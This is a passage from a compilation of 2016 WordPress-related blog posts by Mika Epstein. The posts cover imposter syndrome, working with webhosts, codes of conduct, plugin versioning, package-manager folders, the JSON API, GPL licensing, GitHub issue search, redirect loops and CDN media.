You all saw or read Harry Potter, right? So in the last movie, when Harry’s in the weird limbo place and meets Dumbledore again, he asks if their conversation was real or if it was all in his head. Dumbledore points out that just because it’s all in his head doesn’t mean it’s not real. Just because you know you have a mental illness doesn’t mean that your feelings aren’t real. Separating the two isn’t easy. It helps to have friends who can spot-check you. Of course, most of my friends work in WP, and I don’t want to embarrass myself in front of them. Welcome back, Imposter syndrome!
## Fact Five: It’s okay to say you don’t know
That’s hard. That one always makes me think “Oh god, they’ll fire me because I don’t know this basic thing.” It’s not the case. If it is, well you would have hated working there anyway. You have to be able to able to learn. You need that freedom. You need the freedom to fail and experiment and say “I don’t know this.” But. You have to hold up your end of the bargain.
## Fact Six: It’s not about what you know but how you know
If I’d been honest in the beginning, I might have started in a better place. If I’d just said “Nope, never used WinInstall but I’m willing to learn!” I could have set myself up different. Today, I don’t know much javascript. I’m still a bit touchy on sql. But I know how to know. I know how to google. I know how to research. I know how to learn. I’m okay with looking foolish for not knowing because I know I can’t know everything! I take notes, I document, and I learn. And the more I learn, the less I fear my own self.
**Categories:** How It Is
**Tags:** essay
---
### [Working with Webhosts](https://halfelf.org/2016/working-webhosts/)
**Published:** February 8, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Working with webhosts is a lot like working with your doctor. Telling them important things without overwhelming them is complicated.
**Content:**
Working with a host isn’t just sending in tickets into the abyss and hoping they answer them. Whether you’re communicating on behalf of a client or for your own benefit, it’s not the same as working with fellow developers. You need to approach a host with different expectations and explain situations in different ways in order to get the best results.
## What Is A WebHost? Why Are They Different?
You’ve had this problem where what works on Host A doesn’t work on Host B, right? All webhosts are different for a really obvious reasons. There’s more than one way to solve the problem of webhosting. Every host has decided, on their own, what works well for THEM. Which means no two of them are the same, nor will they really ever be. This is okay, if it’s a little annoying, because not only are YOU a special snowflake with your customized website, but so is your webhost with their customized server and environments.
## Setting Expectations
Hosts Are Not Developers
Your host is not going to generally debug themes and plugins. They’re just not. They don’t have the manpower for it. The host cares first about your servers, THEN about your code. And if they find your code is the problem, that discovery is often the limit. They’re not always going to help you debug exactly why plugin X is causing a specific feature on their servers to grumble. This doesn’t mean they can’t do it. Many hosts, especially ones with WordPress hosting plans, can and do debug code all the time. To be more precise, you shouldn’t expect the host to reverse engineer your code to understand why it does what it does. They are problem identifiers.
Hosts Will Fix What’s Theirs
This doesn’t mean that a host will leave you high and dry. A host will fix whatever they can. If their code broke your stuff, you bet they should fix that. Did they run a WordPress upgrade that left your site with bad permissions? Yes. But… If they ran an upgrade and you have a theme incompatible with WordPress 4.2, who’s problem is that? Should they be on the hook for fixing it or should the person who owns the site? This is why I say hosts will fix what’s theirs. It’s a lot of grey areas sometimes. It feels like people are always making exceptions or telling you that you’re an edge case. But at the end of the day, a host is NOT on the hook for upgrading your custom theme to work with the new version of WP.
All Hosts Are Different
Telling a host “But it works locally” or on another host doesn’t do them ANY good, nor do they really care. Everyone sets up servers differently, and sometimes the issue will be with PHP or the Linux OS or maybe, help me, Windows. It’s apples and oranges, like trying to compare two similar themes. Now this puts developers in a bad spot. WordPress is incredibly flexible and works, out of the box, in the majority of situations. The same cannot be said of all code. Most people don’t have the resources core does to test in so many iterations. And even WordPress misses things. Not all code will work in all configurations in all circumstances on all hosts. Sometimes you are a special snowflake. You are the edge case.
Don’t Assume
So what can we do to make things better? Telling the host the important things, especially if you’re a dev, will help everyone. If you’re not a dev, then start with the basics. The important thing here is, even though you having a bad day, not to freak out. You need to be calm, you need to be clear, but you need to provide a GOOD bug report. Don’t assume the host magically knows everything, since the error MIGHT be their servers, certainly, but it may also be a combination of what the user is doing, how they’re doing it, and the server that causes the problem. Hosts are not psychic. They only know what you’ve told them.
## Give the Right Information
Who Are We Talking About?
The most obvious question? “What’s the domain?” Many people will have multiple domains with a host, and if the issue only happens on one, you can speed up their searches just by being up front! Many, many, many times I see people complain that their ‘site’ is down. One user had 107 domains. I stared at it for a moment, tested a couple, and finally emailed back. “I looked at these five domains and they seem alright. Your email didn’t specify which domain was broken or how. Can you please be a little more precise? It’ll help us find out what’s wrong faster.” Start out with exactly what’s wrong and where.
Are You The Owner?
The next important thing to tell a host is “Who are YOU?” This is secretly “Who owns the site” because if it’s not you, you may not be able to get all the answers due to security. The host will know who you are, based on the email, so this also means “What kind of person are you?” Are you a user who can’t code? A high end dev? A middle-of-the-road guy caught in the problem? Let the host know what you can do and they can help tailor answers better. It’s okay to say that you’re the new dev taking over and you don’t know everything yet. Just let the host know where you stand. This lets them know what to expect and what they are permitted to tell you.
Where Does It Hurt?
With WordPress, sometimes a host has to ask “Can WE log in?” I hate this. I hate asking someone for access to log into their site. It makes me nervous. But sometimes if the error only happens when you do specific things, a host has to log in to reproduce it with debug on in order to track it down faster. If it requires logging in to reproduce the problem, remember to provide them access. I strongly suggest making a second account for the host and deleting it when they’re done.
## Explaining The Problem
Even If It’s Tricky
All the information before should have gotten you here already, but it needs repeated. Explain the problem! “This site is broken” is a terrible email and yet I see it daily. A better one is “This site is broken after we upgraded to WordPress 4.2. This is the error, this is what I’ve already tried. I THINK the issue is this other thing. Can you help?” Give the right information. Tell the host what’s wrong. Give them an error. Don’t assume they’re familiar with every single possible error. You’re not, after all, unless you’re Nacin.
Details Are Important
I know I said to tell them what you think the problem is. It’s okay not to know, but it’s not okay not to give the details on what you DO know. You know some things. Is the problem happening for logged in or logged out users? How do you reproduce it? Start by assuming the host knows NOTHING about your site and how it works. Even if you’re sure they know how a blog works, take the time to step back. This is really hard. You have to give them enough information without spewing your whole history.
Walk Them Through It
Walk them through exactly how to reproduce it. Use screenshots when possible. Videos? Not really as helpful as you might think. If you get an error message, make sure that you give them the WHOLE message as well as the context. I mentioned not assuming before, this goes double here. Don’t assume a host knows how you upload an image. There are multiple ways to do that, so tell them how YOU did it.
## You’re Not The Customer? They May Have To Talk Tech
When you’re not the one who pays the bills, you may need to play intermediary and have the owner contact the host. Some hosts let you add specific email addresses as secondary contacts. You should always make sure of that early on. If you hate the social engineering that comes with people cracking into other people’s accounts, that’s WHY many hosts won’t just tell you everything. Playing the middle sucks, and when this happens, try to be patient. Everything will take longer. That said, have the customer ask the host if there’s a way to add you on as someone the host is allowed to talk to. Most have a way around it.
## Pick The Host You Like … And It’s Subjective
Speaking of that … You should find a host you like. Figure out what you can work with, and here’s a big secret. Hosts won’t mind if you tell them that they can’t meet your needs. Okay that’s a lie, they do mind. But if the reason is “You don’t have 24/7 phone support!” well they understand. If the reason is “I need a type of server you don’t provide” that’s also okay. And sometimes, sometimes, no matter how much you love a specific person (or people) at a host, they just don’t meet all your support needs. And that too is okay. Hosts understand that. One brilliant person doesn’t make up for the masses, after all. Hosts aren’t the same. It’s okay.
## Everyone Wants Everyone To Be Happy
In the end, the host wants the same things a customer does. A good, fast, website that does what they want and makes them happy. If you’re clear about what’s wrong, what you need, and you’re willing to work with a host to experiment a little, you may be surprised at how well you can work with them to succeed.
**Categories:** How It Is
**Tags:** hosting
---
### [Representation of Code](https://halfelf.org/2016/representation-code/)
**Published:** January 27, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We are (not) Spock.
**Content:**
There’s a great many things to be learned from the drama of the recent Code of Conduct proposal. A great many people have demonstrated why one is needed, why ‘Just act professional’ is not a tenable long term solution, and why some people are exactly the sort of person who will fall afoul of the new guidelines.
After all, who would really argue that these guidelines are ‘bad’:
> Examples of unacceptable behaviour by participants include:
>
> - The use of sexualized language or imagery
> - Personal attacks
> - Trolling or insulting/derogatory comments
> - Public or private harassment
> - Publishing other’s private information, such as physical or electronic addresses, without explicit permission
> - Other unethical or unprofessional conduct
But that isn’t what it brought to my mind. The needs of a Code of Conduct are myriad, and the phrasing is complicated. It should be, at once, easy to understand and abide by, while being comprehensive and difficult to abuse. It should prevent rules-lawyers from gaming the system and min-maxing the hell out of their abhorrent behavior, while still permitting people to speak their mind. Anyone who’s played a table-top game with ‘that guy’ knows that pain.
As I tweeted:
> Today PHP is learning that individuals bear the weight of representation of their groups.
This is something everyone in a minority group has known for a long time. Not to throw politics into the mix, but compare the different reactions to the Baltimore protests of 2015 and the Malheur National Wildlife Refuge occupation of 2016. Consider the way some people are painted as ‘he should have known better’ and others are just ‘misunderstood.’
One of the things I hate about WordPress is that I am now and forever representing it. Yes, forever. If WordPress is still around in 30 or 40 years, I will be representing it. If I leave it or say “Well I hate X” about it, I will reflect back on WordPress and my words will likely be taken and twisted around and contorted to mean something.
Now and forever, I represent things that I am and things that I do. If I act like an ass online, it reflects on my company. A coworker of mine told a joke on Twitter and was subjected to attacks from someone who found it offensive. Whether or not the joke was tasteless, it reflected on him and our company. It doesn’t matter if the company endorsed it or not, nor does it really matter what our CEO may or may not have said regarding the situation. It matters that we represent myriad aspects of our life *all the time*.
To give you a short list, I represent women, lesbians, LGBT as a whole, married people, childless families, Jews, Californians, Chicagoans, Canadians, Americans, caucasians, and please double the list and add ‘in tech’ to that. We haven’t even touched on things I work on and participate in the community like WordPress, Wikipedia, MediaWiki, Ada Camp, Hugo, Jekyll, PHP, ZenPhoto, etc etc and so on and so forth. Oh and DreamHost, the bank I *used* to work for, and possibly the guys I worked for before that. Then there are the games I play (D&D, Pern, WoD, etc).
I don’t get to ‘stop’ being those things. Even though I’ve not played a MUSH in almost a decade, to some people I will forever be known as a MUSHer. And some people may change their opinions on me just hearing that. But also some people will say “Oh, she acts like that because she grew up on a MUSH.” And worse, “If she acts like that, then all MUSHers are assholes.”
Look. We know it’s stupid. We all know that a person isn’t the sole representation of a thing, and yet we spend our lives looking over our shoulders because we will now and forever be what we are identified as being.
It was hard for [Leonard Nimoy to be Spock](https://www.washingtonpost.com/news/the-switch/wp/2015/02/27/leonard-nimoy-is-dead-but-spock-will-live-on-forever/).
> Nimoy is so synonymous with his half-Vulcan alter ego that fans revolted upon seeing the title of his first memoir, “I Am Not Spock,” despite Nimoy’s insistence that behind the name was merely a nuanced explanation of the distinctions between himself and his character.
When we think of him, we think of Spock, the role that made him famous. And it took him years to come to grips with understanding that he was now and always will be Spock to many of us. It’s a hard thing to accept, that you will forever represent yourself, a job you had for three years and a handful of movies, and that no matter what, whatever you say will reflect back on that.
WordPress, PHP, those are our Star Treks and we are Spock.
Live long and prosper.
**Categories:** How It Is
**Tags:** community, essay, rant
---
### [Mailbag: The Trouble of Rollbacks](https://halfelf.org/2016/mailbag-trouble-rollbacks/)
**Published:** February 5, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why we don't downgrade plugins? We can't reliably pick the right pervious version.
**Content:**
Anonymous asks:
> Why doesn’t WordPress let me rollback a plugin?
Answer: Because the education of developers as to how to properly tag and number releases hasn’t hit critical mass.
Other answer: Because no one’s paid me enough yet to sit and manage every single WordPress plugin release to ensure the developers are properly using tags.
Other answer: No one’s written the code to enforce proper tagging for plugins.
Look. Let’s step back. Why does rolling back WordPress work? I’m going to assume you disabled auto-updates for a moment. They work becuase WordPress understands semantic versioning.
- 4.4 is a major release.
- 4.4.1 is a minor release (bug and security fixes)
Now go look at your plugins. Look at their versions. Let me show you what I, a plugin reviewer, sees:
- 20151205-295323 is a major release
- 3.2.3.1 is a minor release
- 4.2.1 is a major release
- 14.4 is a critical bug fix
- 738741 is a minor release
It goes on and on.
But even if we fix that, we have to trust that people will remember to actually *use* the SVN tags folder. They don’t. Trust me, about half the time I contact a plugin developer about a problem, I have to ask them to please use SVN properly.
The trunk folder is for the ‘latest’ version of your plugin. This may be a beta, and it may be the same as your stable release. Either way, trunk should be a working version.
The tags folders are for your releases. Finished up version 1.3.4? Great! Update the plugin readme and the main file to have the new stable version and run `svn cp trunk tags/1.3.4` to copy it over. Done. But no, they don’t do that.
This is the ‘fault’ of open source and freedom, of course. We let plugin developers do what they want, a lot more than themes, and with that freedom comes risks and responsibilities. Different people rise to those responsibilities differently. Most of us stumble along, make mistakes, figure out what best practice works for us, and move on.
Should WordPress enforce proper behavior? I gotta tell you, I don’t think it would be sustainable. Not without a *much* smaller repository and not without some sort of signed contract with developers to agree to the guidelines. And I don’t think developers would like it.
I don’t think we’re (yet) at the point where auto-updating plugins is wise. Themes, yes, but I don’t think plugins are quite there yet. Maybe we’ll get there, but there are so many hurdles before us it’ll be a while yet.
**Categories:** How It Is
**Tags:** mailbag, plugins, wordpress
---
### [Packaging and Shipping Resource Folders](https://halfelf.org/2016/resource-folders/)
**Published:** February 3, 2016
**Author:** Ipstenu (Mika Epstein)
**Content:**
No, I don’t mean resources to get help.
Have you ever opened a plugin or theme and seen a folder that says `bower_components` or `node_modules`? Yeah, I hate those. I don’t hate Bower or Node, I use them quite a lot. I hate how people use them in their plugins.
## What Are Those Folders?
In order to make life easier, [Bower](http://bower.io/) is a package manager that lets you install libraries that your plugin needs. Making a plugin that needs AWS SDK?
`bower install aws-sdk-js`
Boom. And you can easily upgrade it too with `bower update` – which I love. This is a great idea.
But notice that last line? `bower_components/aws-sdk` is where it saved my files. And if I go in there, the JS file I need is `bower_components/aws-sdk/dist/aws-sdk.min.js` and that is surrounded by other files:

Now as a developer you have a couple choices here. You can leave the file where it is and just call it from there or you can move it. If you move it, you want to make a simple way of updating it. After all, the whole point of using Bower here is to make life easier. Personally I use Grunt for these things. I talked about it [last year](https://halfelf.org/2015/ebb-flow-automation/) but my basic idea is to use Bower to download the latest and greatest versions, and then Grunt takes care of (a) updating the Bower packages and (b) copying the files to where I need them.
Okay, but what if I have something a little more complex?
## What Resources Do I Need?
This seemingly innocuous question is surprisingly deep. It’s not just ‘what package/library am I trying to manage’, but how do I manage it and with what? What if, instead of the javascript, I wanted to use the PHP AWS SDK instead? Well, the AWS SDK for PHP is not available in Bower! Instead it uses [Composer](getcomposer.org).
Here’s where things get weird. Composer is a package manger. [Grunt](http://gruntjs.com/) is a package manager. Node and Bower are too. This means I have to stop and think hard. Which one do I need? Why do I need it? What am I going to be managing?
It’s time to ask this:
## What Are My Packages For?
Within Node there are two kinds of packages:
- “dependencies”: these packages are required by your application in production
- “devDependencies”: these packages are only needed for development and testing
Take a moment to think what you need to dev and what you need to run. Your test code doesn’t need to be in your release, does it? No, of course not. It would make perfect sense to have in your Git or personal repository, but the WordPress SVN repository is not actually for your own code management. It’s a release management tool. That’s another post for another time. Just keep in mind that you should really only be pushing your code to SVN when it’s a version ready for use (be that beta testing or releases).
Back to what things are for. When talking about the AWS SDK javascript, I’m talking about *front end* packages. So that’s a dependancy. But Bower? It’s a devDependency. The users don’t need to know (or care) that I’m using Grunt and Bower to package things up. That means they shouldn’t be installed in my plugin!
In the case of my AWS SDK a ‘devDependency’ is Composer. I only need it to build my packages.
My dependencies are as follows:
Adding that to my `composer.json` file is a simple thing and now I can just run `composer update` to get everything I need!
## Where Should My Packages Live?
This is generally pre-destined. If you use Node they go in `node_modules` and Bower likes `bower_components` and Composer uses `vendor` and so on and so forth. You can, of course, customize these. I often make a folder called ‘assets’ or ‘assets-dev’ so I can easily ignore it in my version control. Frankly I don’t need them and neither do my users and it’ll help save space.
There’s a cool thing about composer. If you use `composer init` then it asks, at the end “`Would you like the vendor directory added to your .gitignore [yes]?`” This is great, because if you looked at the folder `vendor` you would see a *lot* of folders and files you don’t really want. I actually only want one folder `vendor/aws/aws-sdk-php/src/Aws/` and I want that folder to be located in `aws/Aws` please and thank you. Composer adds this into `.gitignore` for you.
You’ll still have to add that into your SVN ignore file, which is a little more annoying. To ignore all `composer.*` files it’s this:
And if you want to ignore multiple files or folders use the following command to bring up the text editor:
For SVN I would ignore `composer.json`, `composer.lock`, and the `vendor` folder.
## How Do I Move Folders?
Remember I want to move things to another folder? I use Composer’s scripts to do this. I admit this is ugly code. I have this in my `composer.json`:
This runs whenever I run `composer update` in this folder and it copies everything where I need it to be. I did tell you it was ugly, right? But it does work.
## The Result?
The result is my `vendor` code is never uploaded to WordPress.org’s SVN, my users never see the stuff they don’t care about, and I have a faster way to update my plugins when I need to make sure all the packages are right.
**Categories:** How To
**Tags:** development, plugins, wordpress
---
### [WP JSON API Challenges](https://halfelf.org/2016/wp-json-api-challenges/)
**Published:** February 1, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My experience with the JSON API has been a failure to launch, mostly because my preconceived notions were wrong. All wrong.
**Content:**
In my frustration of my static process, I ripped everything out by it’s roots and decided to take things in a strict order.
## Decision: All-In-One or Separate?
The first question was do I want to download everything as one big JSON file and split it out later, or do I want to, from the start, download each post as it’s own file? The time to download shouldn’t change, and if I do it right, I could script it to check if the date stamp on my downloaded file was older than the post date in WP. That means I could have this logic:
That made it an easy win. Let’s split away from the original plan. Now my goal is to extract all the posts from my WP site in JSON format.
Remember the goal here is to run a *static* website with WP. There are plugins that convert WP to static HTML, which you can then use to power a site, and this isn’t a bad idea.
## How To: Get all the posts from a WP site via the JSON API?
This sounded easy. `http://local.wordpress.dev//wp-json/wp/v2/posts` listed posts, and the v1 [comparison chart](http://wp-api.org/misc/comparison.html) says that you can list *all* posts, it stands to reason that I can easily get all my posts.
In a way, this is a WordPress problem. WP doesn’t want you to show all posts. It would make your site very slow if you had, say, 10,000 posts. Which means that the claim that the JSON API can lists all posts is true, it just doesn’t do them all at once.
I happen to have 40 published posts on my test site, so when I GET with this URL, it loads all of them: `http://local.wordpress.dev//wp-json/wp/v2/posts?per_page=100`
But that isn’t sustainable. And the old trick of making `per_page` equal to `-1` didn’t work.
I did determine that the JSON API actually knows what the amount of posts is!

The header “X-WP-Total: 40” is what I needed. Of course, that is rather weird to get. It means to get all the files, I have to write ‘something’ that does this:
1. Get `http://local.wordpress.dev//wp-json/wp/v2/posts` and parse it to get the value of X-WP-Total
2. Get `http://local.wordpress.dev//wp-json/wp/v2/posts?per_page=X-WP-Total`
Okay. So how?
Well remember how I mentioned a plugin that made a static site already? I was talking about things like [Really Static](https://wordpress.org/plugins/really-static/). Save a post, it saves the JSON file! Why not write this plugin?
Why not use “Really Static”? Well I don’t want to have WP doing more than be my content generator. I want to separate content (the blog) from WP. And that means I will end up writing a plugin…
## Am I In Too Deep? Or Am I Over My Head?
So far, this has been an incredible amount of work. It’s been a lot of two steps forward and three steps back, over and over and over. And yes, it’s been very frustrating. I’ve given up many times and, if my posts about multiple approaches are any indication, I’ve deleted and restarted many, many times.
And I have to be honest here… I’m giving up on this overly ambitious plan right now.
This marks two major failures (three if I could how insane the entire ‘use Jekyll/Hugo to run a gallery’ was). First, I’ve failed to sensibly convert JSON files to MD in a scriptable and reproducible way. Second, I’ve failed to export JSON from WordPress in a simple way. Both those failures can be worked around. I can build a plugin that exports the JSON. It’s not trivial, but having done similar things I’m sure I can do it. The issue is ‘is it worth it’? And right now I think the answer is no.
I’m back to the drawing board right now, sketching up new plans and ideas. I want to eliminate as many steps as possible. I’d like to leave WordPress alone, let it be WordPress, and similarly let my static generator be static. These failures have taught me more about the interdependencies than I expected, and I’ve learned more from them than I may have if I’d had outright success from the start.
While I’m starting over, again, I feel hopeful and less ‘I hate you, JSON’ than I thought I would. I now understand things more clearly and I see how I made things far, far more complicated for myself.
The future of this project is, weirdly, bright.
**Categories:** How To
**Tags:** api, failure, hugo, json
---
### [GPL Isn't Protecting You](https://halfelf.org/2016/gpl-isnt-protecting/)
**Published:** January 25, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The GPL is about freedom to take your code and make it mine. That doesn't mean you're unprotected, it just means you need to protect yourself.
**Content:**
Some days I know my plugin reviews are going to wreck me. January has had a lot of complaints from people about aspects of the GPL. Specifically they wanted to know how to protect themselves with the GPL.
The truth is the GPL is not protecting anything except the right of the next guy to take your code and do stuff with it. And that terrifies people.
I’m not entertaining a discourse on the merits or legality of the GPL here. Those comments will be deleted. Simply put, a requirement of *the WordPress.org repositories* is that to be hosted there you must be GPLv2 (or later). At that point, every other argument is moot. Your code has to be GPLv2 to be in the repositories. End of story.
Okay. So what’s there left to discuss about protecting yourself and your code? Three things: Trademarks, copyright, and theft. Here we go.
## Trademarks
GPLv2 doesn’t protect your trademark, but that doesn’t mean your trademark isn’t protected. While any image you put in your WordPress theme or plugin has to be given as GPLv2 compatible, that doesn’t void your trademark. A freely offered image that is trademarked (say, the WordPress logo) can be used in your plugin, but it comes with [restrictions](http://wordpressfoundation.org/trademark-policy/) after all. The inclusion of the SVG of the logo in GPL code doesn’t change that.
One of the things that changed in GPLv2 and GPLv3 was related to this. Remember, GPLv2 allows all code that does *not* include any restrictions that were not already in GPLv2. As long as license was as free (or freer) than GPLv2, it was deemed to be GPL-compatible (see the WTFPL). The issue with that is some licenses were very easy to comply with but had clauses like you couldn’t use certain trademarks. This caused confusion, as it was read as a restriction. The thing was that it *wasn’t*! Regardless of what the license said, you never had permission to use the trademark.
This is good for companies. You can trademark your logo and, if someone takes it redistributes a fork with the logos still in it, they’ve violated trademark law. And you can protect yourself there. I suggest you read [Joomla’s post on the matter of Trademark protection](http://opensourcematters.org/legal/trademark/trademark-faq.html) to get a better idea of how it all works.
## Copyright
Copyrights are another thing that the GPL doesn’t protect. Except it does.
GPLv2 and GPLv3 are both [copyleft](http://www.gnu.org/licenses/copyleft.en.html):
> To copyleft a program, we first state that it is copyrighted; then we add distribution terms, which are a legal instrument that gives everyone the rights to use, modify, and redistribute the program’s code or any program derived from it but only if the distribution terms are unchanged. Thus, the code and the freedoms become legally inseparable.
What does that mean? Your copyright is yours. By the act of writing code, you own the copyright (with some exceptions, like if you’re hired to write the code). When you contribute code to an open source project like WordPress, you *STILL* retain the copyright unless you give it away, but the license is whatever the project’s license is. Most of the time this is fine, but as I recently saw with [Hugo](https://gohugo.io), this can be problematic when a project wants to [change their license](https://github.com/spf13/hugo/issues/201). Hugo had to get permission from every single person who had contributed.
This is, by the way, why WordPress will probably always be GPLv2.
One way around this is to require everyone to waive their copyrights in order to contribute. I believe DotNuke did this. Whomever owns the copyright, if the code is still licensed in a way that allows for free distribution then nothing’s really changed. The code is still open.
Of course, then there’s the [jQuery Foundation does with their Individual Contributor License Agreement](http://contribute.jquery.org/CLA/) – In order to contribute to jQuery’s code or website, you have to sign that and provide a valid email. This gives them a way to contact everyone and also makes sure you understand what you signed up for. WordPress just has a checkbox when you submit your code to remind you that you’ve given it up.
If you’ve ever looked at the [jQuery Foundation License](https://jquery.org/license/), you may have noticed this line:
> You are free to use any jQuery Foundation project in any other project (even commercial projects) as long as the copyright header is left intact.
This is not imposing a restriction more than GPLv2. See the bit in trademarks. Legally you had to do that anyway, they’re just reminding you not to be a tool and leave this simple line in:
> - Copyright jQuery Foundation and other contributors
I bark at developers a lot for removing the license headers from javascript files. Don’t do it. You’re violating copyright and, if the original devs complain, you’ll lose your code until you fix it. Which is the point here. Copyright exists beyond GPL, so the fact that it doesn’t actively protect it doesn’t make it not enforceable.
## Theft
I don’t mean legal here.
A lot (a lot) of people argue that their plugin should be able to be encrypted or obfuscated to make it ‘harder to steal.’ I hear that about once a week, if not more. And my answer to all of them is “Not if you want to be hosted on WordPress.org.” WordPress.org has an ‘above and beyond’ understanding of the idea of distribution and allowing people to edit. It’s felt that the spirit of GPL means your code should be easy for someone to read and fork.
I said a dirty thing there, I know. The ‘spirit’ of the GPL is probably causing some of my friends to roll their eyes so hard they’ve got migraines. Sorry about that. But it really is the one time I use it. When I say the ‘spirit’ I mean the intention of the license and it’s application to WordPress.org’s repositories only. Right or wrong, agree or disagree, it’s straightforward. If you want to have your code in the .org repos, it’s gotta be human readable.
There’s a simple reason for this. The GPL Copyleft is all about *freedom* and keeping that freedom alive. The Copyleft says that anyone who redistributes the software, **with or without changes**, must pass along the same freedom to further copy and change it. In order to allow people to change the code, we want it to be human-readable. We want people to be able to look at your code and say “Oh I understand how this works. I will improve it!” When you take away, or overly complicate their ability to do that, we feel you’re intentionally impinging on that freedom. You’re trying to find a way around it, basically.
About the only time I’ve heard someone not claim they were smushing the code up to protect it from being stolen is when someone has smashed their javascript into a `p,a,c,k,e,d()` type compression file. I actually hate those files. Javascript is hard enough as is! Stop making it harder. Plus I need to tell you something really important.
While minifying your javascript *will* improve a website’s performing by decreasing the load time, it doesn’t make it *run* any faster for the majority of code out there. Of course there are situations (large libraries or limited devices) where this is not the case, but trust me here. Your 7 line javascript is not going to be significantly faster just because you compressed it. I advocate using the `.min` version of common libraries, but unless your code is huge, leave it alone and let other people see how to edit it.
## Bonus: Distribution
GPL comes into play when your code is distributed. If I put my code on my server and never give it to anyone, it’s not been distributed so licenses don’t really matter. As the [GPL FAQ explains](http://www.gnu.org/licenses/old-licenses/gpl-2.0-faq.en.html#GPLRequireSourcePostedPublic):
> But if you release the modified version to the public in some way, the GPL requires you to make the modified source code available to the program’s users, under the GPL.
It’s the big *if* there. What constitutes distribution? Is your browser downloading a javascript file in order to run my site distribution? Is handing you a zip file distribution?
I always recommend people play it safe.
**Categories:** How It Is
**Tags:** copyright, essay, freedom, license, wordpress
---
### [Mailbag: Can I Track Issues with Github Like WP Support?](https://halfelf.org/2016/mailbag-can-track-issues-github-like-wp-support/)
**Published:** January 29, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Tracking all your issues on all your Github repos? Not all that hard.
**Content:**
> How do I see all my Github issues for all my projects?
I was asked this at a WordCamp by someone who had seen my ‘how to get into Github’ series with Carrie Dils.
If you’re tracking the WordPress forums, `https://wordpress.org/support/view/plugin-committer/YOURID` will list all of the support requests and reviews for any plugin you have commit access.
Not a comitter, just someone listed as an author? Use `https://wordpress.org/support/view/plugin-contributor/YOURID`
But Github? Turns out it’s super easy!
`https://github.com/search?q=is%3Aissue+is%3Aopen+user%3AYOURNAME&type=Issues`
Basically you can go to the [Github Search Page](https://github.com/search) and put in`is:issue is:open user:ott42` and you’ll see them all! There’s no RSS feed mind you but you do get emails for all those so you should be okay.
**Categories:** How To
**Tags:** github, mailbag
---
### [Mailbag: Why Do Cannonical URLs Mess Me Up?](https://halfelf.org/2016/mailbag-cannonical-urls-mess/)
**Published:** January 22, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't panic! Here's a towel and an answer to why your urls are 301 redirecting.
**Content:**
This came from a DreamHoster who said it was okay to blog it if I didn’t mention them by name. They were embarrassed about the mistake.
> Why was my site having a redirect loop, and why did changing the domain to force www in panel fix it?
The ‘panel’ being mentioned here is DreamHost’s Panel. We don’t have cPanel, we have PANEL, and it’s our special, 100%, tool. In there, you can edit your domain settings. One of the settings has to do with your domain settings. Simply it asks “Do you want the *www* in your URL?”

In general I check “no” because I’m a [no-www kind of person](https://halfelf.org/2012/dont-use-www/). I don’t like it.
The issue this person was faceing was that you’d go to `http://www.wordpress.dev` and everything was fine, but his site went all over the place weird when you went to
In order to fix that person’s website, I changed “Leave it alone” to “Add WWW” (their preference, not mine).
Why did that work? Let’s understand the issue first. What was happening was that your server generally doesn’t care if you visit `http://www.wordpress.dev` or `http://wordpress.dev` because it knows that they both mean `/home/user/wordpress/public_html/` (or whatever). But! Some servers (like DreamHost) let you prioritize and redirect. If they don’t, you can use nginx/htaccess to force www or not. As far as the server cares, none of this matters. If you force no-www and someone goes to www, they get redirected and everyone’s happy.
Except WordPress. WordPress is picky. WordPress has special settings:

Recognize that? If you have WordPress set to use www and you go to the non-www URL, it won’t redirect you. It will, however, force all internal links and generated paths to have the www. The same thing happens if you don’t force https for your site. WordPress will still serve `http://wordpress.dev` but all the links on that page would be to `https://wordpress.dev` and so will your stylesheets and javascript.
This may make you think that WordPress doesn’t care. You’d be wrong. WordPress cares deeply, and it shows up when you go a URL like `http://wordpress.dev/i-am-fake/` – assuming you don’t have a page named that. If you’ve forced www, WordPress will look for that page and do a 404 redirect. Suddenly you’ll have www!
Except in some cases, what happens is WordPress accepts the URL you gave it and shows without the www. Then it remembers it should have the www and redirects to that. Only it knows you told it non-www and redirects to that. And you get an endless 301 redirect loop. And you cry.
If you force www in DreamHost’s Panel *and* you force it in htaccess *and* you set it your settings, this still may not be enough! You may have to do a search and replace to change all the non-www urls to www!
Amusingly, when WordPress 4.4.1 dropped, we found a rare race condition with http and https and WooCommerce, born from a simple mistake.

Everyone I know who looked at that went “Oh, right, if my site has https in the home and site URLs, maybe I shouldn’t try to force http here!” But Woo lets you shoot yourself in the foot. Or at least they did. There’s a ticket open where I suggested perhaps they prevent that.
And for what it’s worth, I totally get how these things happen. You set up your domain and your WordPress site and your http/https settings at different times. It’s understandable that in 2013 you didn’t have SSL, but you added it in 2014. And at that time, you only put SSL on your checkout pages (right?) and since you wanted your cache to work better, you said “no https for checkout’ed!” That’s perfectly sane and logical. But since LetsEncrypt and HTTPS Everywhere became big in 2015, you changed the whole site over and simply forgot about that one, teensy, toggle…
At least, until someone got that horrible 301 redirect on checkout.
Like I told the people I fixed, don’t kick yourself over this. You have a lot of moving parts and the secret is understanding how each bit works. If you know that you set Panel properly, and `.htaccess` properly, and site/home URLs properly, *and* it only happens on checkout, you can zero in on what’s left and debug that.
**Categories:** How It Works
**Tags:** debug, mailbag, wordpress
---
### [Why CDN Media Needs a Plugin](https://halfelf.org/2016/cdn-media-needs-plugin/)
**Published:** January 20, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's one simple reason, but understanding that reason comes with understanding how media is saved in general.
**Content:**
I wanted to write a blog post for work (something I try to do once a month) so I thought “I should write about using a CDN for images. I wonder if you can do this without a plugin…”
One hour later, and 1200 words, the answer is no. You cannot.
My initial goal was to move media files (and *only* the media) from `http://example.com/wp-content/uploads/` to `http://static.example.com/wordpress/` on DreamObjects. I’ve written a plugin that does that, but to my frustration, I found you cannot do this *without* a plugin for one incredibly simple reason.
But before the big reveal, let’s break down, in simple terms, what I would actually need to do in order to move the uploads. My two assumptions are that I already have a WordPress powered site (check) and I already have DreamObjects (check)
1. Setup a bucket on DreamObjects (or AWS whatever) to house my images, and give it a CDN alias.
2. Copy all the images to the bucket.
